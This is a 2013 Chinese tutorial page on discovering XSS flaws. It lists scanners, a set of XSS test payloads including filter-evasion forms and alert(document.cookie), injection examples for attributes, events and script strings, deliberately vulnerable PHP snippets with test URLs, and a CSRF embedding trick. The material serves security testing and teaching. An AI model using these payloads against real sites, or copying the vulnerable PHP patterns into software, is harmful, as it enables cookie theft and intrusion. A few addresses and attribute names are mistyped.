分類  >  Web前端 >

XSS 課題三 發掘XSS漏洞剖析

tags:    時間:2013-12-09 23:38:14
XSS 專題三 發掘XSS漏洞剖析

一.常用工具

1.1.Acunetix Web Vulnerability Scanner

    商業Web 漏洞掃描程序,檢測XSS,SQL,代碼執行,目錄遍歷,網站程序源代碼暴露,CRLF Injection.

1.2.XSSDetect

   XSSDetect 微軟靜態代碼分析工具,Visual Studio.NET 的插件

1.3.Ratproxy

  支持Linux操作系統

http://code.google.com/p/ratproxy/

   檢測XSS漏洞,SQL注入,文件包含漏洞,目錄瀏覽,

二.人工檢查

<script>alert(0)</script> < > " ' & # <img/src="javascript:alert('XSS');"> <img src="javascript&#116&#58alert(/XSS/);" > <table background="javascript:alert(/XSS/)"></table> "><script >alert(document.cookie)</script> "><sc<script>ript>alert(document.cookie)</script <div style="width: expression(alert('XSS'));"> <div style="{ left:expression(alert('xss') ) }"> <img onerror="alert(0)" src=http://xxx.com/>  

如果頁面出現排版錯誤或者JS錯誤,可能存在XSS

在輸入框中輸入 

<XSS>"'&

並提交,查看源碼,如果連<>都未被轉義,存在XSS,

如果被過濾,利用其他形式(標籤屬性,事件)

2.1  標籤屬性 觸發XSS

比如

<input name="name" value=<?=$query?>>

$query為動態內容,替換成

xss onmouseover=evil_script()

最終渲染后的HTML如下

<input name="name" value=xss onmouse=evil_script()>

2.2 事件 觸發XSS

比如

<input type="text" name="address" value="XSSTest">

XSSTest為可控輸入源,輸入

XSSTest "><script>alert(/XSS/)</script><" 

返回

<input type="text" name="address" value="XSSTest "><script>alert(/XSS/)</script><""> 

或創建事件處理器

「onfocus="alert(/XSS/)

2.3 代碼嵌入JavaScript

<script> var test= ' XSSTest ';var id =12; .. </script>

XSSTest為可控輸入源,輸入

'; alert(/XSS/); var foo='

返回

<script> var test=''; alert(/XSS/); var foo=''; var id=12; ... </script>

2.4.利用瀏覽器可接受的編碼

<scriPT> <scrip%00ipt> %253cscript%253e Expre/******/ssion

三.php XSS

3.1 php4 phpinfo() XSS

Stefan Esser 是研究PHP漏洞的專家,他在MOPB-08-2007提到 ,低版本的php對用戶輸入的變數沒有轉義就列印出來.測試代碼如下

http://localhost/phpinfo.php?a[]=<script>alert(/XSS/);</script>

3.2 $_SERVER[PHP_SELF]

$_SERVER['PHP_SELF'] 是PHP 的一個全局變數,代表當前PHP文件相對於網站根目錄的位置地址,攻擊者可以提交查詢代碼修改$_SERVER['PHP_SELF']的值,引發XSS漏洞,

<form method="POST" action="<?php echo $_SERVER['PHP_SELF']; ?>">     <input type="hidden" name="submitted" value="1" />     <input type="submit" value="Submit!" /> </form> 

這段代碼在很多程序中使用,將其保存為data.php,

訪問如下鏈接

http://127.0.0.1/data.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E%3Cfoo

要迴避這個漏洞,可以使用htmlentities($_SERVER['PHP_SELF'])替代$_SERVER['PHP_SELF'],這樣即使有惡意代碼,也會轉換為用於顯示的HTML代碼

3.3 變數覆蓋

  1.register_globals=on,該參數在PHP 4.2.0 及以上版本默認為屏蔽,影響PHP如何接收傳遞過來的參數,如果register_globals打開以後,各種變數都可以被重新註冊,

比如以下代碼.

<?php echo $a; ?>

由於$a沒有初始化,在register_globals打開的情況下,用戶可以輕易地為其賦值,只需

http://127.0.0.1/test.php?a=XSS
如果傳遞javascript

http://127.0.0.1/test.php?a=XSS<script>alert(/XSS/)</script>

 2.extract(),將變數從數組導入到當前符號表中

比如以下代碼

<? $a=1; extract($_GET); echo $a; ?>

$a 已被初始化,如果直接訪問,輸出值為1

http://12.7.0.0.1/test.php?a=XSS
頁面輸出"XSS",$a被重新賦值

還可以使用

http://127.0.0.1/test.php?a=<script>alert(/XSS/)</script>

3.遍歷初始化變數

<? $a=1; foreach($_GET as $key => $value){         $$key=$value; } print $a; print $b; ?> 

訪問以下鏈接

http://127.0.0.1/test.php?a=XSS&b=<h1>XSS</h1>

四.CSRF

使用Firebug查看POST參數,記錄下post參數

users.php?do=add_confirm&email=1%40cc.....
該CSRF Exploit可以嵌入到HTML的屬性

<img src="http://127.0.0.1/admin...."> <iframe src="http://127.0.1/...."></iframe>









推薦閱讀文章

Bookmark the permalink ,來源:互聯網